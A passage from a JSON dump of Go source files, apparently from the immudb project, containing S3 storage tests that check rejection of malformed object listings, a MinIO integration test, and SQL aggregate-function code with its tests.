version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path10/sub/ExampleObject1.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path10/ExampleObject2.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path10/photos1/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path10/photos2/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t</ListBucketResult>\n\t\t\t`))\n\n\t\tcase \"path11/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path11/ExampleObject1.txt%</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path11/ExampleObject2.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path11/photos1/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path11/photos2/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t</ListBucketResult>\n\t\t\t`))\n\n\t\tcase \"path12/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path12/ExampleObject1.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path12/ExampleObject2.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path12/photos1/%</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path12/photos2/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t</ListBucketResult>\n\t\t\t`))\n\n\t\tcase \"path13/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path13%2FExampleObject1.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path13%2FExampleObject2.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path13%2Fphotos1%2F</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path13%2Fphotos2%2F</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t</ListBucketResult>\n\t\t\t`))\n\n\t\tcase \"path14/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path14//ExampleObject1.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path14/ExampleObject2.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path14/photos1/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path14/photos2/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t</ListBucketResult>\n\t\t\t`))\n\n\t\tcase \"path15/\":\n\t\t\tw.Write([]byte(`\n\t\t\t\t<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t\t\t<ListBucketResult xmlns=\"http://s3.amazonaws.com/doc/2006-03-01/\">\n\t\t\t\t\t<IsTruncated>false</IsTruncated>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path15/Example/Object1.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<Contents>\n\t\t\t\t\t\t<Key>path15/ExampleObject2.txt</Key>\n\t\t\t\t\t</Contents>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path14/photos1/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t\t<CommonPrefixes>\n\t\t\t\t\t\t<Prefix>path14/photos2/</Prefix>\n\t\t\t\t\t</CommonPrefixes>\n\t\t\t\t</ListBucketResult>\n\t\t\t`))\n\n\t\tdefault:\n\t\t\trequire.Fail(t, \"Invalid request\")\n\t\t}\n\n\t}))\n\tdefer ts.Close()\n\n\ts, err := Open(ts.URL, false, \"\", \"\", \"\", \"bucket\", \"\", \"\", \"\", false)\n\trequire.NoError(t, err)\n\n\tctx := context.Background()\n\n\tt.Run(\"correct response\", func(t *testing.T) {\n\t\tentries, subPaths, err := s.ListEntries(ctx, \"path1/\")\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, entries, 2)\n\t\trequire.Len(t, subPaths, 2)\n\t})\n\n\tt.Run(\"invalid xml response when listing\", func(t *testing.T) {\n\t\t_, _, err := s.ListEntries(ctx, \"path2/\")\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponseXmlDecodeError)\n\t})\n\n\tt.Run(\"entries not sorted\", func(t *testing.T) {\n\t\t_, _, err := s.ListEntries(ctx, \"path3/\")\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponseEntriesNotSorted)\n\t})\n\n\tt.Run(\"sub paths not sorted\", func(t *testing.T) {\n\t\t_, _, err := s.ListEntries(ctx, \"path4/\")\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponseSubPathsNotSorted)\n\t})\n\n\tt.Run(\"sub paths incorrectly prefixed\", func(t *testing.T) {\n\t\t_, _, err := s.ListEntries(ctx, \"path5/\")\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponseSubPathsWrongPrefix)\n\t})\n\n\tt.Run(\"sub paths incorrectly prefixed\", func(t *testing.T) {\n\t\t_, _, err := s.ListEntries(ctx, \"path6/\")\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponseSubPathsWrongSuffix)\n\t})\n\n\tt.Run(\"sub paths contain incorrect characters\", func(t *testing.T) {\n\t\t_, _, err := s.ListEntries(ctx, \"path7/\")\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponseSubPathMalicious)\n\t})\n\n\tt.Run(\"query with continuation token\", func(t *testing.T) {\n\t\tentries, subPaths, err := s.ListEntries(ctx, \"path8/\")\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, entries, 4)\n\t\trequire.Len(t, subPaths, 4)\n\t})\n\n\tt.Run(\"entry name does not start with prefix\", func(t *testing.T) {\n\t\t_, _, err := s.ListEntries(ctx, \"path9/\")\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponseEntryNameWrongPrefix)\n\t})\n\n\tt.Run(\"entry name contains / character\", func(t *testing.T) {\n\t\t_, _, err := s.ListEntries(ctx, \"path10/\")\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponseEntryNameMalicious)\n\t})\n\n\tt.Run(\"entry name not correctly url encoded\", func(t *testing.T) {\n\t\t_, _, err := s.ListEntries(ctx, \"path11/\")\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponseEntryNameUnescape)\n\t})\n\n\tt.Run(\"subpath not correctly url encoded\", func(t *testing.T) {\n\t\t_, _, err := s.ListEntries(ctx, \"path12/\")\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponseSubPathUnescape)\n\t})\n\n\tt.Run(\"correctly handle url encoded entry names\", func(t *testing.T) {\n\t\tentries, subPaths, err := s.ListEntries(ctx, \"path13/\")\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, entries, 2)\n\t\trequire.Len(t, subPaths, 2)\n\t\trequire.Equal(t, \"ExampleObject1.txt\", entries[0].Name)\n\t\trequire.Equal(t, []string{\"photos1\", \"photos2\"}, subPaths)\n\t})\n\n\tt.Run(\"detect malicious object names\", func(t *testing.T) {\n\t\t_, _, err := s.ListEntries(ctx, \"path14/\")\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponseEntryNameMalicious)\n\n\t\t_, _, err = s.ListEntries(ctx, \"path15/\")\n\t\trequire.ErrorIs(t, err, ErrInvalidResponse)\n\t\trequire.ErrorIs(t, err, ErrInvalidResponseEntryNameMalicious)\n\t})\n}\n"
  },
  {
    "path": "embedded/remotestorage/s3/s3_with_minio_test.go",
    "content": "//go:build minio\n// +build minio\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage s3\n\nimport (\n\t\"context\"\n\t\"crypto/rand\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestS3WithServer(t *testing.T) {\n\trandomBytes := make([]byte, 8)\n\t_, err := rand.Read(randomBytes)\n\trequire.NoError(t, err)\n\n\ts, err := Open(\n\t\t\"http://localhost:9000\",\n\t\tfalse,\n\t\t\"\",\n\t\t\"minioadmin\",\n\t\t\"minioadmin\",\n\t\t\"immudb\",\n\t\t\"\",\n\t\tfmt.Sprintf(\"prefix_%x\", randomBytes),\n\t\t\"\",\n\t\tfalse,\n\t)\n\trequire.NoError(t, err)\n\n\tctx := context.Background()\n\n\tt.Run(\"check exist if file was not created\", func(t *testing.T) {\n\t\texists, err := s.Exists(ctx, \"test1\")\n\t\trequire.NoError(t, err)\n\t\trequire.False(t, exists)\n\t})\n\n\tt.Run(\"store a file\", func(t *testing.T) {\n\t\tfl, err := ioutil.TempFile(\"\", \"\")\n\t\trequire.NoError(t, err)\n\t\tfmt.Fprintf(fl, \"Hello world\")\n\t\tfl.Close()\n\t\tdefer os.Remove(fl.Name())\n\n\t\terr = s.Put(ctx, \"test1\", fl.Name())\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"check exist after file was created\", func(t *testing.T) {\n\t\texists, err := s.Exists(ctx, \"test1\")\n\t\trequire.NoError(t, err)\n\t\trequire.True(t, exists)\n\t})\n\n\tt.Run(\"read whole file\", func(t *testing.T) {\n\t\tin, err := s.Get(ctx, \"test1\", 0, -1)\n\t\trequire.NoError(t, err)\n\t\tdata, err := ioutil.ReadAll(in)\n\t\trequire.NoError(t, err)\n\t\terr = in.Close()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"Hello world\"), data)\n\t})\n\n\tt.Run(\"read file partially\", func(t *testing.T) {\n\t\tin, err := s.Get(ctx, \"test1\", 1, 5)\n\t\trequire.NoError(t, err)\n\t\tdata, err := ioutil.ReadAll(in)\n\t\trequire.NoError(t, err)\n\t\terr = in.Close()\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"ello \"), data)\n\t})\n\n\tt.Run(\"delete file\", func(t *testing.T) {\n\t\terr := s.Remove(ctx, \"test1\")\n\t\trequire.NoError(t, err)\n\n\t\texists, err := s.Exists(ctx, \"test1\")\n\t\trequire.NoError(t, err)\n\t\trequire.False(t, exists)\n\n\t\t_, err = s.Get(ctx, \"test1\", 0, -1)\n\t\trequire.Error(t, err)\n\t})\n\n\tconst (\n\t\tfoldersCount = 3\n\t\tentriesCount = 20\n\t)\n\n\tt.Run(\"create multiple file-s in multiple folders\", func(t *testing.T) {\n\t\tfor i := 0; i < foldersCount; i++ {\n\t\t\tfor j := 0; j < entriesCount; j++ {\n\t\t\t\tfl, err := ioutil.TempFile(\"\", \"\")\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\tfmt.Fprintf(fl, \"Hello world_%d_%d\", i, j)\n\t\t\t\tfl.Close()\n\t\t\t\tdefer os.Remove(fl.Name())\n\n\t\t\t\terr = s.Put(ctx, fmt.Sprintf(\"test2/folder%d/file%d\", i, j), fl.Name())\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\t\t}\n\n\t\tentries, sub, err := s.ListEntries(ctx, \"test2/\")\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, entries)\n\t\trequire.Len(t, sub, foldersCount)\n\n\t\tentries, sub, err = s.ListEntries(ctx, \"test2/folder0/\")\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, sub)\n\t\trequire.Len(t, entries, entriesCount)\n\t\trequire.EqualValues(t, \"file1\", entries[1].Name)\n\t\trequire.EqualValues(t, \"file0\", entries[0].Name)\n\t\trequire.EqualValues(t, \"file10\", entries[2].Name)\n\t\trequire.EqualValues(t, 15, entries[0].Size)\n\t\trequire.EqualValues(t, 15, entries[1].Size)\n\t\trequire.EqualValues(t, 16, entries[2].Size)\n\t})\n\n\tt.Run(\"delete folder with no subfolders\", func(t *testing.T) {\n\t\terr := s.RemoveAll(ctx, \"test2/folder0/\")\n\t\trequire.NoError(t, err)\n\n\t\tentries, sub, err := s.ListEntries(ctx, \"test2/folder0/\")\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, entries)\n\t\trequire.Empty(t, sub)\n\n\t\tentries, sub, err = s.ListEntries(ctx, \"test2/\")\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, entries)\n\t\trequire.Len(t, sub, foldersCount-1)\n\t\trequire.Equal(t, sub[0], \"folder1\")\n\t})\n\n\tt.Run(\"delete folder with subfolders\", func(t *testing.T) {\n\t\terr := s.RemoveAll(ctx, \"test2/\")\n\t\trequire.NoError(t, err)\n\n\t\tentries, sub, err := s.ListEntries(ctx, \"test2/\")\n\t\trequire.NoError(t, err)\n\t\trequire.Empty(t, entries)\n\t\trequire.Empty(t, sub)\n\t})\n}\n"
  },
  {
    "path": "embedded/sql/aggregated_values.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport \"strconv\"\n\ntype AggregatedValue interface {\n\tTypedValue\n\tupdateWith(val TypedValue) error\n\tSelector() string\n\tColBounded() bool\n}\n\ntype CountValue struct {\n\tc   int64\n\tsel string\n}\n\nfunc (v *CountValue) Selector() string {\n\treturn v.sel\n}\n\nfunc (v *CountValue) ColBounded() bool {\n\treturn false\n}\n\nfunc (v *CountValue) Type() SQLValueType {\n\treturn IntegerType\n}\n\nfunc (v *CountValue) IsNull() bool {\n\treturn false\n}\n\nfunc (v *CountValue) String() string {\n\treturn strconv.FormatInt(v.c, 10)\n}\n\nfunc (v *CountValue) RawValue() interface{} {\n\treturn v.c\n}\n\nfunc (v *CountValue) Compare(val TypedValue) (int, error) {\n\tif val.Type() != IntegerType {\n\t\treturn 0, ErrNotComparableValues\n\t}\n\n\tnv := val.RawValue().(int64)\n\n\tif v.c == nv {\n\t\treturn 0, nil\n\t}\n\n\tif v.c > nv {\n\t\treturn 1, nil\n\t}\n\n\treturn -1, nil\n}\n\nfunc (v *CountValue) updateWith(val TypedValue) error {\n\tv.c++\n\treturn nil\n}\n\n// ValueExp\n\nfunc (v *CountValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn IntegerType, nil\n}\n\nfunc (v *CountValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != IntegerType {\n\t\treturn ErrNotComparableValues\n\t}\n\treturn nil\n}\n\nfunc (v *CountValue) jointColumnTo(col *Column, tableAlias string) (*ColSelector, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *CountValue) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *CountValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *CountValue) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *CountValue) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn nil\n}\n\nfunc (v *CountValue) isConstant() bool {\n\treturn false\n}\n\nfunc (v *CountValue) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\ntype SumValue struct {\n\tval TypedValue\n\tsel string\n}\n\nfunc (v *SumValue) Selector() string {\n\treturn v.sel\n}\n\nfunc (v *SumValue) ColBounded() bool {\n\treturn true\n}\n\nfunc (v *SumValue) Type() SQLValueType {\n\treturn v.val.Type()\n}\n\nfunc (v *SumValue) IsNull() bool {\n\treturn v.val.IsNull()\n}\n\nfunc (v *SumValue) String() string {\n\treturn v.val.String()\n}\n\nfunc (v *SumValue) RawValue() interface{} {\n\treturn v.val.RawValue()\n}\n\nfunc (v *SumValue) Compare(val TypedValue) (int, error) {\n\treturn v.val.Compare(val)\n}\n\nfunc (v *SumValue) updateWith(val TypedValue) error {\n\tif val.IsNull() {\n\t\t// Skip NULL values\n\t\treturn nil\n\t}\n\n\tif !IsNumericType(val.Type()) {\n\t\treturn ErrNumericTypeExpected\n\t}\n\n\tif v.val.IsNull() {\n\t\t// First non-null value\n\t\tv.val = val\n\t\treturn nil\n\t}\n\n\tnewVal, err := applyNumOperator(ADDOP, v.val, val)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tv.val = newVal\n\n\treturn nil\n}\n\n// ValueExp\n\nfunc (v *SumValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn IntegerType, nil\n}\n\nfunc (v *SumValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != IntegerType {\n\t\treturn ErrNotComparableValues\n\t}\n\treturn nil\n}\n\nfunc (v *SumValue) jointColumnTo(col *Column, tableAlias string) (*ColSelector, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *SumValue) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *SumValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *SumValue) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *SumValue) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn v\n}\n\nfunc (v *SumValue) isConstant() bool {\n\treturn false\n}\n\nfunc (v *SumValue) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\ntype MinValue struct {\n\tval TypedValue\n\tsel string\n}\n\nfunc (v *MinValue) Selector() string {\n\treturn v.sel\n}\n\nfunc (v *MinValue) ColBounded() bool {\n\treturn true\n}\n\nfunc (v *MinValue) Type() SQLValueType {\n\treturn v.val.Type()\n}\n\nfunc (v *MinValue) IsNull() bool {\n\treturn v.val.IsNull()\n}\n\nfunc (v *MinValue) String() string {\n\treturn v.val.String()\n}\n\nfunc (v *MinValue) RawValue() interface{} {\n\treturn v.val.RawValue()\n}\n\nfunc (v *MinValue) Compare(val TypedValue) (int, error) {\n\treturn v.val.Compare(val)\n}\n\nfunc (v *MinValue) updateWith(val TypedValue) error {\n\tif val.IsNull() {\n\t\t// Skip NULL values\n\t\treturn nil\n\t}\n\n\tif v.val.IsNull() {\n\t\t// First non-null value\n\t\tv.val = val\n\t\treturn nil\n\t}\n\n\tcmp, err := v.val.Compare(val)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif cmp == 1 {\n\t\tv.val = val\n\t}\n\n\treturn nil\n}\n\n// ValueExp\n\nfunc (v *MinValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\tif v.val.IsNull() {\n\t\treturn AnyType, ErrUnexpected\n\t}\n\n\treturn v.val.Type(), nil\n}\n\nfunc (v *MinValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif v.val.IsNull() {\n\t\treturn ErrUnexpected\n\t}\n\n\tif t != v.val.Type() {\n\t\treturn ErrNotComparableValues\n\t}\n\n\treturn nil\n}\n\nfunc (v *MinValue) jointColumnTo(col *Column, tableAlias string) (*ColSelector, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *MinValue) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *MinValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *MinValue) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *MinValue) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn nil\n}\n\nfunc (v *MinValue) isConstant() bool {\n\treturn false\n}\n\nfunc (v *MinValue) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\ntype MaxValue struct {\n\tval TypedValue\n\tsel string\n}\n\nfunc (v *MaxValue) Selector() string {\n\treturn v.sel\n}\n\nfunc (v *MaxValue) ColBounded() bool {\n\treturn true\n}\n\nfunc (v *MaxValue) Type() SQLValueType {\n\treturn v.val.Type()\n}\n\nfunc (v *MaxValue) IsNull() bool {\n\treturn v.val.IsNull()\n}\n\nfunc (v *MaxValue) String() string {\n\treturn v.val.String()\n}\n\nfunc (v *MaxValue) RawValue() interface{} {\n\treturn v.val.RawValue()\n}\n\nfunc (v *MaxValue) Compare(val TypedValue) (int, error) {\n\treturn v.val.Compare(val)\n}\n\nfunc (v *MaxValue) updateWith(val TypedValue) error {\n\tif val.IsNull() {\n\t\t// Skip NULL values\n\t\treturn nil\n\t}\n\n\tif v.val.IsNull() {\n\t\t// First non-null value\n\t\tv.val = val\n\t\treturn nil\n\t}\n\n\tcmp, err := v.val.Compare(val)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif cmp == -1 {\n\t\tv.val = val\n\t}\n\n\treturn nil\n}\n\n// ValueExp\n\nfunc (v *MaxValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\tif v.val.IsNull() {\n\t\treturn AnyType, ErrUnexpected\n\t}\n\n\treturn v.val.Type(), nil\n}\n\nfunc (v *MaxValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif v.val.IsNull() {\n\t\treturn ErrUnexpected\n\t}\n\n\tif t != v.val.Type() {\n\t\treturn ErrNotComparableValues\n\t}\n\n\treturn nil\n}\n\nfunc (v *MaxValue) jointColumnTo(col *Column, tableAlias string) (*ColSelector, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *MaxValue) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *MaxValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *MaxValue) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *MaxValue) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn nil\n}\n\nfunc (v *MaxValue) isConstant() bool {\n\treturn false\n}\n\nfunc (v *MaxValue) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n\ntype AVGValue struct {\n\ts   TypedValue\n\tc   int64\n\tsel string\n}\n\nfunc (v *AVGValue) Selector() string {\n\treturn v.sel\n}\n\nfunc (v *AVGValue) ColBounded() bool {\n\treturn true\n}\n\nfunc (v *AVGValue) Type() SQLValueType {\n\treturn v.s.Type()\n}\n\nfunc (v *AVGValue) IsNull() bool {\n\treturn v.s.IsNull()\n}\n\nfunc (v *AVGValue) String() string {\n\treturn v.calculate().String()\n}\n\nfunc (v *AVGValue) calculate() TypedValue {\n\tif v.s.IsNull() {\n\t\treturn nil\n\t}\n\n\tval, err := applyNumOperator(DIVOP, v.s, &Integer{val: v.c})\n\tif err != nil {\n\t\treturn &NullValue{t: AnyType}\n\t}\n\n\treturn val\n}\n\nfunc (v *AVGValue) RawValue() interface{} {\n\treturn v.calculate().RawValue()\n}\n\nfunc (v *AVGValue) Compare(val TypedValue) (int, error) {\n\treturn v.calculate().Compare(val)\n}\n\nfunc (v *AVGValue) updateWith(val TypedValue) error {\n\tif val.IsNull() {\n\t\t// Skip NULL values\n\t\treturn nil\n\t}\n\n\tif !IsNumericType(val.Type()) {\n\t\treturn ErrNumericTypeExpected\n\t}\n\n\tif v.s.IsNull() {\n\t\t// First non-null value\n\t\tv.s = val\n\t\tv.c++\n\t\treturn nil\n\t}\n\n\tnewVal, err := applyNumOperator(ADDOP, v.s, val)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tv.s = newVal\n\tv.c++\n\treturn nil\n}\n\n// ValueExp\n\nfunc (v *AVGValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn IntegerType, nil\n}\n\nfunc (v *AVGValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != IntegerType {\n\t\treturn ErrNotComparableValues\n\t}\n\n\treturn nil\n}\n\nfunc (v *AVGValue) jointColumnTo(col *Column, tableAlias string) (*ColSelector, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *AVGValue) substitute(params map[string]interface{}) (ValueExp, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *AVGValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) {\n\treturn nil, ErrUnexpected\n}\n\nfunc (v *AVGValue) selectors() []Selector {\n\treturn nil\n}\n\nfunc (v *AVGValue) reduceSelectors(row *Row, implicitTable string) ValueExp {\n\treturn nil\n}\n\nfunc (v *AVGValue) isConstant() bool {\n\treturn false\n}\n\nfunc (v *AVGValue) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error {\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/sql/aggregated_values_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCountValue(t *testing.T) {\n\tcval := &CountValue{}\n\trequire.Equal(t, \"\", cval.Selector())\n\trequire.False(t, cval.ColBounded())\n\trequire.False(t, cval.IsNull())\n\n\terr := cval.updateWith(&Bool{val: true})\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, IntegerType, cval.Type())\n\n\t_, err = cval.Compare(&Bool{val: true})\n\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\tcmp, err := cval.Compare(&Integer{val: 1})\n\trequire.NoError(t, err)\n\trequire.Equal(t, 0, cmp)\n\n\terr = cval.updateWith(&Bool{val: true})\n\trequire.NoError(t, err)\n\n\tcmp, err = cval.Compare(&Integer{val: 1})\n\trequire.NoError(t, err)\n\trequire.Equal(t, 1, cmp)\n\n\tcmp, err = cval.Compare(&Integer{val: 3})\n\trequire.NoError(t, 